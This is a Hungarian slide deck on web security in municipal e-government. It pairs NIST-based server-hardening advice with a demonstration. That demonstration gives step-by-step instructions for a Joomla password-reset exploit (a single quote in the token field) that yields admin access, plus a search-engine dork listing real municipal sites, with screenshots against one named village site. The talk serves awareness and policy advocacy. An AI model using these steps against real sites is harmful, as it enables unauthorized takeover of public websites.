

kancellár.hu
az informatikai biztonság szakértője



Az e-közigazgatás megvalósításának biztonsági kérdései önkormányzati környezetben

Krasznay Csaba

kancellár.hu
az informatikai biztonság szakértője

Duna Tower
1138 Budapest, Népfürdő u. 22. t: +36 1 2704tel, f: +36 1 2704fax, w: kancellar.hu



- Mi az elektronikus közigazgatás biztonsági problémái közül a legnyilvánvalóbb?
- Természetesen a weboldalak, webszerverek megfelelő megvalósítása, hiszen
 - ezek vannak a leginkább szem előtt,
 - ezek ellen indul a legtöbb támadás,
 - egy sikeres támadás után minden, a portálon áthaladó forgalom monitorozhatóvá válik,
 - a feltört rendszer továbblépést eredményezhet a belső, védett (?) rendszerek felé,
 - erről lehet 15 perc alatt érdemben beszélni...

- http://www.ekk.gov.hu/hu/ekk/letoltheto/20080707_eksteljes.pdf
- **Biztonságos szolgáltatások** – A magánszemélyek és az üzleti szféra szereplői számára kényelmes, megbízható és egymással együttműködő közszolgáltatásokat kell nyújtani. **Biztonságos** és egymással kommunikálni képes, **átjárható rendszereket** kell létrehozni, amelyek lehetővé teszik az **elektronikus személyazonosítást** tartózkodási helytől függetlenül;
- A hatóság az eljárása során – a biztonságos és átlátható ügyintézés érdekében – az elektronikus ügyintézés informatikai támogatásával gondoskodik az ügyfél által elektronikus úton előterjesztett és a hatóság által készített **dokumentumok biztonságos kezeléséről, megőrzéséről.**
- A modern kormányzatnak – mind a politikaformálás, mind a szolgáltatások nyújtása terén – **pontos és időszerű információkkal** kell rendelkeznie az állampolgárokról, a vállalkozásokról. E követelmény megvalósításához az információ, az információ hatékony menedzselése és az információbiztonság alapvető követelmény.

- Az informatika, információtechnológia és a távközlés fejlődésével, a rendszerek egyre nagyobb számban történő alkalmazásba vételével párhuzamosan egyre nagyobb jelentőségűvé válik a biztonsági szempontok érvényesítése. A **tárolt és kezelt** adatok, információk egyre nagyobb mértékben tartalmaznak **érzékeny**, a személyiségi jog vagy más jogszabály rendelkezése által védett információkat. A közigazgatási ügyeket intéző hivatalok egyre nagyobb mértékben támaszkodnak az elektronikusan tárolt és kezelt információkra, és egyre inkább csak **elektronikusan lesz majd elkérhető** az információ, ami egyben függést is jelent az elektronikus információk rendelkezésre állásától.
- A korábbi években – elsősorban költségvetési okok miatt – a biztonsági kérdések háttérbe szorultak. A legszükségesebb védelmi intézkedések (vírusvédelem, mentések) mellett a közigazgatásban általában kevés figyelmet fordítottak az informatikai biztonság többi tényezőjére. Az Állami Számvevőszék 2007. júniusi e-kormányzati monitoring jelentése is megerősíti, hogy a **kormányzaton belül alapvető hiányosságok tapasztalhatók az informatikai biztonság terén.**

- Forrásként használjuk az amerikai közigazgatási ajánlást!
- Magyar ugyanis nincs, pedig lehetne: KIB 25. sz. ajánlás, IBIX. Ez legyen önkritika is...
- NIST SP 800-44: Guidelines on Securing Public Web Servers
- <http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf>

kancellár.hu
az informatikai biztonság szakértője

- Néhány kiragadott követelmény:
 - Webszervert saját DMZ-ben vagy webhosting szolgáltatónál tárolunk!
 - A webszerver dedikált host legyen, más szolgáltatás, virtuális szerver ne fusson rajta!
 - Válasszuk ki a megfelelő operációs rendszert, melynek biztonsági megerősítését végezzük el!
 - Rendszeresen frissítsük a szerveren található szoftvereket!
 - Használjunk erős autentikációt ott, ahol csak lehet!
 - Tiltsunk le minden felesleges írási, olvasási és végrehajtási jogot!
 - Készítsünk külön partíciót a portál tartalmának!

- Tiltsunk le a szerveren minden más szolgáltatást!
- Távolítsunk el minden olyan dokumentációt a szerverről, mely a portálmotor használatát mutatja be!
- Töröljünk minden default vagy teszt állományt!
- A szerver process limitált joggal fusson!
- Ne engedjünk fájlfeltöltést a portálon keresztül!
- Vigyázzunk az ideiglenes fájlokkal, amik futás közben jönnek létre!
- Vigyázzunk a minősített iratokkal, hogy véletlenül elérhetővé váljanak a portálon!
- Naplózás, naplózás, naplózás!!!

- Az önkormányzatok weboldalait háromfelé oszthatjuk:
 - Akik „gazdagok” vagy nyertesek voltak a GVOP 4.3.1-es pályázaton: nagy magyar fejlesztő által fejlesztett portálmotor (Aitia Webra, Sense/Net Portal, Humansoft .Net portál, stb.). Ezekben triviális sebezhetőségek nincsenek.
 - Akik „szegények”: kis, gyakran helyi fejlesztők, ingyenes portálmotorok (Joomla, Mambo, stb.). Amiket nem üzemeltetnek megfelelően, triviális sebezhetőségeket tartalmaznak, de könnyen karbantarthatók.
 - Akik drágán rosszat vesznek: saját, összetákolt weboldal, tervezés, minőségbiztosítás, biztonsági alapelvek nélkül...

- A vizsgálat tárgya egy vidéki város önkormányzata.
- Az adott város nem volt nyertes a GVOP pályázaton, így jól demonstrálja a „tipikus” helyzetet.
- A portált valamikor a múltban készítették, azóta fejlesztés, hibajavítás nem történt.
- Az üzemeltetés hatásköri gondok miatt nem eldöntött.
- A fizikai biztonsági környezet nem ideális.
- Naplózás nem történik.
- A nem látványos támadásokat senki nem venné észre, maximum egy deface-elés tűnne fel...
- Konklúzió: ha a weboldal biztonságos is, az üzemeltetés (pénzhiány) aláássa az ilyen irányú erőfeszítéseket.

- Egyszerű Joomla törés: ha ideiglenes jelszót kérünk a portáltól, akkor egy tokenet kapunk.
- Ezt kell bemásolni a megfelelő mezőbe. De ha ' betűt teszünk az adott mezőbe, akkor ez a parancs hajtódik végre: "SELECT id FROM jos_users WHERE block = 0 AND activation = " "
- 1. Nyissuk meg a következő URL-t:
célpont.com/index.php?option=com_user&view=reset&layout=confirm
- 2. A "token" mezőbe írjuk a ' karaktert és kattintsunk az OK gombra.
- 3. Írjuk be az új admin jelszót.
- 4. Nyissuk meg ezt az URL-t: célpont.com/administrator/
- 5. Lépünk be az új admin jelszóval.

The screenshot shows a Microsoft Internet Explorer browser window with the following details:

- Address Bar:** http://www.google.hu/search?hl=hu&lang=pl&ie=UTF-8&q=%C3%B6nkorm%C3%A1nyzat+inurl:com_user&start=0&sa=N
- Search Bar:** Contains the text "önkormányzat inurl:com_user".
- Search Results:** A(z) "önkormányzat inurl:com_user" kifejezés 1-10. találatja az összes, kb. 70 találatból. (0,08 másodperc)
- Search Results List:**
 - [Elfelejtette a jelszavát? - www.szerencs.hu - Szerencs város honlapja](#)
Önkormányzat. Tisztségviselők; Képviselő-testület ... Kisebbségi önkormányzat; Intézmények ... Önkormányzati hírek. Kistérség ...
[www.szerencs.hu/index.php?option=com_user&view=reset](#) - 58k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Elfelejtette jelszavát?](#)
Kezdőlap · Bemutatókozás · Pula történelme · Látnivalók · Kiadványaink · Írások, cikkek · Önkormányzat · Német Kisebbségi Önkormányzat · Civil szervezetek ...
[www.pula.hu/index.php?option=com_user&view=reset](#) - 13k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Regisztráció](#)
Továbbképzés · Képgaléria · Neptun · Hallgatói Önkormányzat (HÖK) · Partnerek · Fórum · A 2008/2009. TANÉV PROGRAMJA · Könyvtár · Kollégium · Űrlapok ...
[ptk.szv.tsf.hu/index.php?option=com_user&task=register](#) - 22k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Tiszanagyfalu](#)
KezdőlapTiszanagyfaluÖnkormányzatTurizmusKözérdekű információKeresésFriss ... Kezdőlap :: Tiszanagyfalu :: Önkormányzat :: Turizmus :: Közérdekű információ ...
[www.tiszanagyfalu.hu/index.php?option=com_user&task=UserDetails&Itemid=21](#) - 28k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Elfelejtette a felhasználónevét?](#)
Balatonlelle Önkormányzati Hírportál. ... Kezdőoldal · Polgármesteri Hivatal · Önkormányzat · Intézmények · Séta · Fényképalbum · Szálláshelyek ...
[www.balatonlelle.hu/index.php?lang=hu&option=com_user&view=remind](#) - 27k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Elfelejtette felhasználónevét?](#)
Copyright © 2008 Békés Megyei Cigány Kisebbségi Önkormányzat. Minden jog fenntartva. A Joomla! a GNU/GPL licenc alatt kiadott szabad szoftver. ...
[www.bmcko.hu/index.php?option=com_user&view=remind](#) - 9k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Elfelejtette a jelszavát?](#)
Az Égáz-Dégáz kétfélmillió forintot adományozott a Hírös Manus Alapítványnak · Kitérítések · Tudományos ülés · Bács-Kiskun Megyei Önkormányzat ünnepi ...
[www.kmk.hu/kmkweb/index.php?option=com_user&view=reset](#) - 26k - [Tárolt változat](#) - [Hasonló oldalak](#)
 - [Registration](#)
Az kutatásaink négy területet ölelnek fel: a politikai történéseket; gazdasági történéseket; önkormányzati döntéshozatalt; mezőgazdaság borászat történéseit ...

Tomajmonostora Község Önkormányzata - Microsoft Internet Explorer

File Edit View Favorites Tools Help

Address http://www.tomajmonostora.hu/index.php?option=com_user&view=reset&layout=confirm Go pdf Go 0 PDF Links >>

Tomajmonostora

A Joomla!-ról Jellemzők Hírek A közösség

Honlap keresés...

Főmenü

- [Főoldal](#)
- [Tomajmonostora Község Polgármesteri Hivatala](#)
- [Tomajmonostora története](#)
- [Hírek](#)
- [Weblinkek](#)
- [Hírforrások](#)

Regisztráció megerősítés

Emailt küldtünk az Ön email címére. Az email tartalmazza az ellenőrző token (kulcsszót), azt a token (kulcsszót) írja be az alábbi mezőbe annak biztosítására, hogy Ön a regisztráció tulajdonosa!

Token:

Copyright © 2008 Tomajmonostora Község Önkormányzata. Minden jog fenntartva.
A Joomla! a GNU/GPL licenz alá tartozó szabad szoftver.
Magázó magyar verzió: Varanka Zoltán - NovoPortal

Bejelentkezés

Felhasználónév

Jelszó

Jegyezze meg!

- [Elfelejtette a jelszavát?](#)
- [Elfelejtette a felhasználónevét?](#)
- [Regisztráció](#)

Vonalban

Jelenleg 2 vendég olvas minket

Linkek

[MAGYARORSZÁG.HU](#)


Done Internet

Tomajmonostora Község Önkormányzata - Microsoft Internet Explorer

File Edit View Favorites Tools Help

Back Forward Stop Home Search Favorites Media Print Copy Paste

Address http://www.tomajmonostora.hu/index.php?option=com_user&view=reset&layout=complete Go pdf Go 0 PDF Links



Tomajmonostora

A Joomla!-ról Jellemzők Hírek A közösség

Honlap keresés...

Főmenü

- [Főoldal](#)
- [Tomajmonostora Község Polgármesteri Hivatala](#)
- [Tomajmonostora története](#)
- [Hírek](#)
- [Weblinkek](#)
- [Hírforrások](#)

Jelszó újragenerálás

A jelszó újragenerálási folyamatának befejezéséhez adjon meg egy új jelszót!

Jelszó:

Jelszó ellenőrzés:

Bejelentkezés

Felhasználónév

Jelszó

Jegyezze meg!

- [Elfelejtette a jelszavát?](#)
- [Elfelejtette a felhasználónevét?](#)
- [Regisztráció](#)

Tartalom megtekintés találat : 3170

Copyright © 2008 Tomajmonostora Község Önkormányzata. Minden jog fenntartva.
A Joomla! a GNU/GPL licenz alá tartozó szabad szoftver.
Magázó magyar verzió: Varanka Zoltán - NovoPortal

Vonalban
Jelenleg 2 vendég olvas minket

Linkek
[MAGYARORSZÁG.HU](#)

Done Internet

- A kormányzati törekvés (helyesen) egyfajta központosításra törekszik.
- Alakuljanak ki az ún. ASP központok, ahol több önkormányzat informatikai szolgáltatásait nyújtják!
- Az önkormányzati rendszerek kapcsolódjanak az Elektronikus Kormányzati Gerinchálózatra, így teljesítsenek bizonyos biztonsági követelményeket!
- Terjedjen el a biztonsági tanúsítások rendszere a közigazgatáson belül!

- Ha nem alakítanak ki egységes követelményrendszert az ASP-k számára, nem alakul ki az egyenszilárdságú védelem, az összekötött rendszerek könnyebben lesznek átjárhatók – a támadóknak.
- Ha nem írják meg az egységes műszaki útmutatókat, nem lesz mihez igazodniuk az üzemeltetőknek.
- Ha nem ellenőrzik a webalkalmazásokat, akkor folyamatosan támadásoknak lehet kitéve a magyar közigazgatás!
- Javaslat: az USA NIST SP ajánlásaihoz hasonló széleskörű ajánlásrendszert kell létrehozni – akár az amerikai minták lefordításával is!

kancellár.hu
az informatikai biztonság szakértője



Köszönöm szépen!

E-mail: csaba@krasznay.hu

Honlap: www.krasznay.hu

kancellár.hu
az informatikai biztonság szakértője

Duna Tower
1138 Budapest, Népfürdő u. 22. t: +36 1 2704tel, f: +36 1 2704fax, w: kancellar.hu

